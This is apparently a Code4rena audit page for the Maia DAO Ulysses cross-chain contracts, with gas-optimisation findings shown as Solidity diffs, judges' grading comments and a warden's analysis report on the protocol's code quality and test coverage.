{ - require(_unlocked == 1); - _unlocked = 2; - _; - _unlocked = 1; - } } diff --git a/src/BranchBridgeAgent.sol b/src/BranchBridgeAgent.sol index b076d2d..3a5a831 100644 --- a/src/BranchBridgeAgent.sol +++ b/src/BranchBridgeAgent.sol @@ -18,7 +18,7 @@ import { import {ILayerZeroEndpoint} from "./interfaces/ILayerZeroEndpoint.sol"; import {BranchBridgeAgentExecutor, DeployBranchBridgeAgentExecutor} from "./BranchBridgeAgentExecutor.sol"; - +import "src/lock.sol"; /// @title Library for Branch Bridge Agent Deployment library DeployBranchBridgeAgent { function deploy( @@ -42,7 +42,7 @@ library DeployBranchBridgeAgent { /// @title Branch Bridge Agent Contract /// @author MaiaDAO -contract BranchBridgeAgent is IBranchBridgeAgent, BridgeAgentConstants { +contract BranchBridgeAgent is IBranchBridgeAgent, BridgeAgentConstants, Lock { using ExcessivelySafeCall for address; /*/////////////////////////////////////////////////////////////// @@ -93,13 +93,6 @@ contract BranchBridgeAgent is IBranchBridgeAgent, BridgeAgentConstants { /// @notice If true, the bridge agent has already served a request with this nonce from a given chain. mapping(uint256 settlementNonce => uint256 state) public executionState; - /*/////////////////////////////////////////////////////////////// - REENTRANCY STATE - //////////////////////////////////////////////////////////////*/ - - /// @notice Re-entrancy lock modifier state. - uint256 internal _unlocked = 1; - /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ @@ -918,14 +911,6 @@ contract BranchBridgeAgent is IBranchBridgeAgent, BridgeAgentConstants { MODIFIERS //////////////////////////////////////////////////////////////*/ - /// @notice Modifier for a simple re-entrancy check. - modifier lock() { - require(_unlocked == 1); - _unlocked = 2; - _; - _unlocked = 1; - } - /// @notice Modifier verifies the caller is the Layerzero Enpoint or Local Branch Bridge Agent. modifier requiresEndpoint(address _endpoint, bytes calldata _srcAddress) { _requiresEndpoint(_endpoint, _srcAddress); diff --git a/src/BranchPort.sol b/src/BranchPort.sol index ba60acc..26d5a56 100644 --- a/src/BranchPort.sol +++ b/src/BranchPort.sol @@ -11,10 +11,11 @@ import {IPortStrategy} from "./interfaces/IPortStrategy.sol"; import {IBranchPort} from "./interfaces/IBranchPort.sol"; import {ERC20hTokenBranch} from "./token/ERC20hTokenBranch.sol"; +import "src/lock.sol"; /// @title Branch Port - Omnichain Token Management Contract /// @author MaiaDAO -contract BranchPort is Ownable, IBranchPort { +contract BranchPort is Ownable, IBranchPort, Lock { using SafeTransferLib for address; /*/////////////////////////////////////////////////////////////// @@ -83,13 +84,6 @@ contract BranchPort is Ownable, IBranchPort { mapping(address strategy => mapping(address token => uint256 dailyLimitRemaining)) public strategyDailyLimitRemaining; - /*/////////////////////////////////////////////////////////////// - REENTRANCY STATE - //////////////////////////////////////////////////////////////*/ - - /// @notice Reentrancy lock guard state. - uint256 internal _unlocked = 1; - /*/////////////////////////////////////////////////////////////// CONSTANTS //////////////////////////////////////////////////////////////*/ @@ -561,12 +555,4 @@ contract BranchPort is Ownable, IBranchPort { if (!isPortStrategy[msg.sender][_token]) revert UnrecognizedPortStrategy(); _; } - - /// @notice Modifier for a simple re-entrancy check. - modifier lock() { - require(_unlocked == 1); - _unlocked = 2; - _; - _unlocked = 1; - } } diff --git a/src/MulticallRootRouter.sol b/src/MulticallRootRouter.sol index 0621f81..c92e54f 100644 --- a/src/MulticallRootRouter.sol +++ b/src/MulticallRootRouter.sol @@ -13,6 +13,7 @@ import { } from "./interfaces/IRootBridgeAgent.sol"; import {IRootRouter, DepositParams, DepositMultipleParams} from "./interfaces/IRootRouter.sol"; import {IVirtualAccount, Call} from "./interfaces/IVirtualAccount.sol"; +import "src/lock.sol"; struct OutputParams { // Address to receive the output assets. @@ -54,7 +55,7 @@ struct OutputMultipleParams { * 0x06 | multicallSignedMultipleOutput * */ -contract MulticallRootRouter is IRootRouter, Ownable { +contract MulticallRootRouter is IRootRouter, Ownable, Lock { using SafeTransferLib for address; /*/////////////////////////////////////////////////////////////// @@ -76,8 +77,6 @@ contract MulticallRootRouter is IRootRouter, Ownable { /// @notice Bridge Agent Executor Address. address public bridgeAgentExecutorAddress; - /// @notice Re-entrancy lock modifier state. - uint256 internal _unlocked = 1; /*/////////////////////////////////////////////////////////////// CONSTRUCTOR @@ -586,13 +585,6 @@ contract MulticallRootRouter is IRootRouter, Ownable { MODIFIERS ////////////////////////////////////////////////////////////*/ - /// @notice Modifier for a simple re-entrancy check. - modifier lock() { - require(_unlocked == 1); - _unlocked = 2; - _; - _unlocked = 1; - } /// @notice Modifier verifies the caller is the Bridge Agent Executor. modifier requiresExecutor() { diff --git a/src/RootBridgeAgent.sol b/src/RootBridgeAgent.sol index a6ad0ef..9d9a2c7 100644 --- a/src/RootBridgeAgent.sol +++ b/src/RootBridgeAgent.sol @@ -26,10 +26,11 @@ import {IRootPort as IPort} from "./interfaces/IRootPort.sol"; import {VirtualAccount} from "./VirtualAccount.sol"; import {DeployRootBridgeAgentExecutor, RootBridgeAgentExecutor} from "./RootBridgeAgentExecutor.sol"; +import "src/lock.sol"; /// @title Root Bridge Agent Contract /// @author MaiaDAO -contract RootBridgeAgent is IRootBridgeAgent, BridgeAgentConstants { +contract RootBridgeAgent is IRootBridgeAgent, BridgeAgentConstants, Lock { using SafeTransferLib for address; using ExcessivelySafeCall for address; /*/////////////////////////////////////////////////////////////// @@ -84,13 +85,6 @@ contract RootBridgeAgent is IRootBridgeAgent, BridgeAgentConstants { /// @notice If true, bridge agent has already served a request with this nonce from a given chain. Chain -> Nonce -> Bool mapping(uint256 chainId => mapping(uint256 nonce => uint256 state)) public executionState; - /*/////////////////////////////////////////////////////////////// - REENTRANCY STATE - //////////////////////////////////////////////////////////////*/ - - /// @notice Re-entrancy lock modifier state. - uint256 internal _unlocked = 1; - /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ @@ -1186,14 +1180,6 @@ contract RootBridgeAgent is IRootBridgeAgent, BridgeAgentConstants { MODIFIERS //////////////////////////////////////////////////////////////*/ - /// @notice Modifier for a simple re-entrancy check. - modifier lock() { - require(_unlocked == 1); - _unlocked = 2; - _; - _unlocked = 1; - } - /// @notice Internal function to verify msg sender is Bridge Agent's Router. modifier requiresRouter() { if (msg.sender != localRouterAddress) revert UnrecognizedRouter();
<a name="G-04"></a>
Two contracts have duplicated statements in separate functions. Merging these duplicated statements into a single modifier eliminates redundancy and improves gas efficiency.
The gas savings depend on the number of times the duplicated statements are executed and the complexity of the statements themselves. By eliminating the redundancy, it reduces the overall gas cost for executing those statements.
diff --git a/src/factories/ArbitrumBranchBridgeAgentFactory.sol b/src/factories/ArbitrumBranchBridgeAgentFactory.sol index 3f07a7d..6455d9a 100644 --- a/src/factories/ArbitrumBranchBridgeAgentFactory.sol +++ b/src/factories/ArbitrumBranchBridgeAgentFactory.sol @@ -80,15 +80,14 @@ contract ArbitrumBranchBridgeAgentFactory is BranchBridgeAgentFactory { address _newBranchRouterAddress, address _rootBridgeAgentAddress, address _rootBridgeAgentFactoryAddress - ) external virtual override returns (address newBridgeAgent) { - require( - msg.sender == localCoreBranchRouterAddress, "Only the Core Branch Router can create a new Bridge Agent." - ); - require( - _rootBridgeAgentFactoryAddress == rootBridgeAgentFactoryAddress, - "Root Bridge Agent Factory Address does not match." - ); - + ) + external + virtual + override + requireCoreBranchRouter + requireRootBridgeAgentFactory(_rootBridgeAgentFactoryAddress) + returns (address newBridgeAgent) + { newBridgeAgent = address( DeployArbitrumBranchBridgeAgent.deploy( rootChainId, _rootBridgeAgentAddress, _newBranchRouterAddress, localPortAddress diff --git a/src/factories/BranchBridgeAgentFactory.sol b/src/factories/BranchBridgeAgentFactory.sol index c789a27..33b594e 100644 --- a/src/factories/BranchBridgeAgentFactory.sol +++ b/src/factories/BranchBridgeAgentFactory.sol @@ -116,15 +116,13 @@ contract BranchBridgeAgentFactory is Ownable, IBranchBridgeAgentFactory { address _newBranchRouterAddress, address _rootBridgeAgentAddress, address _rootBridgeAgentFactoryAddress - ) external virtual returns (address newBridgeAgent) { - require( - msg.sender == localCoreBranchRouterAddress, "Only the Core Branch Router can create a new Bridge Agent." - ); - require( - _rootBridgeAgentFactoryAddress == rootBridgeAgentFactoryAddress, - "Root Bridge Agent Factory Address does not match." - ); - + ) + external + virtual + requireCoreBranchRouter + requireRootBridgeAgentFactory(_rootBridgeAgentFactoryAddress) + returns (address newBridgeAgent) + { newBridgeAgent = address( DeployBranchBridgeAgent.deploy( rootChainId, @@ -138,4 +136,19 @@ contract BranchBridgeAgentFactory is Ownable, IBranchBridgeAgentFactory { IPort(localPortAddress).addBridgeAgent(newBridgeAgent); } + + modifier requireCoreBranchRouter() { + require( + msg.sender == localCoreBranchRouterAddress, "Only the Core Branch Router can create a new Bridge Agent." + ); + _; + } + + modifier requireRootBridgeAgentFactory(address _rootBridgeAgentFactoryAddress) { + require( + _rootBridgeAgentFactoryAddress == rootBridgeAgentFactoryAddress, + "Root Bridge Agent Factory Address does not match." + ); + _; + } }
<a name="G-05"></a>
Several functions in the code either don't have any implementation or unconditionally revert. Applying modifiers to these functions is unnecessary and can be removed to optimize gas consumption.
By removing unnecessary modifiers from empty/revert functions, the bytecode size is reduced, resulting in gas savings.
The gas savings would depend on the complexity of the modifier and the number of functions affected. Removing unnecessary modifiers reduces the bytecode size, resulting in gas savings.
diff --git a/src/CoreRootRouter.sol b/src/CoreRootRouter.sol index 3104a2a..8db63d1 100644 --- a/src/CoreRootRouter.sol +++ b/src/CoreRootRouter.sol @@ -351,7 +351,6 @@ contract CoreRootRouter is IRootRouter, Ownable { external payable override - requiresExecutor { revert(); } @@ -361,13 +360,12 @@ contract CoreRootRouter is IRootRouter, Ownable { external payable override - requiresExecutor { revert(); } /// @inheritdoc IRootRouter - function executeSigned(bytes memory, address, uint16) external payable override requiresExecutor { + function executeSigned(bytes memory, address, uint16) external payable override { revert(); } @@ -376,7 +374,6 @@ contract CoreRootRouter is IRootRouter, Ownable { external payable override - requiresExecutor { revert(); } @@ -386,7 +383,6 @@ contract CoreRootRouter is IRootRouter, Ownable { external payable override - requiresExecutor { revert(); }
#0 - c4-pre-sort
2023-10-15T17:16:41Z
0xA5DF marked the issue as sufficient quality report
#1 - c4-judge
2023-10-26T13:45:31Z
alcueca marked the issue as grade-a
🌟 Selected for report: MrPotatoMagic
Also found by: 0xHelium, 0xSmartContract, 0xbrett8571, 0xsagetony, 33BYTEZZZ, Bauchibred, K42, Littlebeast, LokiThe5th, Oxsadeeq, SAAJ, Sathish9098, ZdravkoHr, albertwh1te, alexxander, catellatech, chaduke, hunter_w3b, ihtishamsudo, invitedtea, jauvany, klau5, kodyvim, lsaudit, pavankv, pfapostol, yongskiws
243.335 USDC - $243.33
During the audit, I identified a High severity vulnerability that enables unauthorized execution of code as a VirtualAccount
. This vulnerability is attributed to insufficient test coverage for the VirtualAccount
functionality. I recommend implementing comprehensive test cases to detect and prevent such vulnerabilities in the future.
To begin the audit, I familiarized myself with the protocol by thoroughly reviewing the available documentation. This allowed me to gain a comprehensive understanding of the key components and functionalities offered by the Ulysses omnichain solution, including Multichain Calls, Tokens Bridging, and Virtual Accounts.
Subsequently, I embarked on a detailed examination of the contracts within the designated audit scope. Through this meticulous review process, I gradually established a clear understanding of the interactions between different chains. To facilitate this analysis, I created visual representations, including graphs depicting the flow of functions responsible for chain interactions.
By following this rigorous approach, I successfully identified vulnerabilities within the project.
CoreRootRouter.addBranchToBridgeAgent(Cross-chain):
RootPort.setCoreBranchRouter:
CoreRootRouter.toggleBranchBridgeAgentFactory:
CoreRootRouter.removeBranchBridgeAgent:
CoreRootRouter.manageStrategyToken:
CoreRootRouter.managePortStrategy:
BaseBranchRouter.callOut:
BaseBranchRouter.callOutAndBridge:
BaseBranchRouter.callOutAndBridgeMultiple:
ArbitrumCoreBranchRouter.addLocalToken:
CoreBranchRouter.addGlobalToken:
I hope this clarifies the audit content for you! Let me know if you have any further questions.
</details>This was my first encounter with the zero layer concept during this audit. It was intriguing for me to delve into the mechanics of token movement across different chains.
The codebase for Maia Ulysses is highly commendable in terms of quality. It showcases a high degree of maturity and extensive testing, evident from its implementation adhering to widely recognized standards like ERC20 and ERC721. Notably, certain sections of the codebase draw inspiration from Layer Zero protocols. Further details are elaborated upon below:
The codebase is accompanied by comprehensive unit testing, utilizing the Foundry framework. Its inclusion of fuzz tests is particularly impressive, although it is important to note that some parts of the protocol lack test coverage, resulting in potential vulnerabilities.
The codebase generally includes well-written comments, aiding in code comprehension and maintenance.
The overall documentation is exceptional, providing in-depth insights into the ecosystem. However, developers seeking to integrate into the Maia ecosystem would benefit from an explanation of the ecosystem's fundamental contract-level operations, making it more accessible.
The codebase showcases a mature and well-organized structure, promoting clarity and ease of navigation.
In summary, the codebase of Maia Ulysses demonstrates an excellent level of quality across multiple aspects. Its implementation reflects maturity and thorough testing, while the documentation provides comprehensive understanding of the ecosystem. Continuous efforts to update comments and enhance code organization will further elevate the overall codebase quality. Moreover, the use of industry-standard static analysis tools like Slither strengthens the codebase's robustness.
57 hours
#0 - c4-pre-sort
2023-10-15T14:22:20Z
0xA5DF marked the issue as sufficient quality report
#1 - alcueca
2023-10-20T09:56:55Z
Useful diagrams, acceptable description of the system. A bit weak on the recommendations.
Sneak peek of the warden going through the codebase while drawing the third diagram in this report:
#2 - c4-judge
2023-10-20T09:57:13Z
alcueca marked the issue as grade-a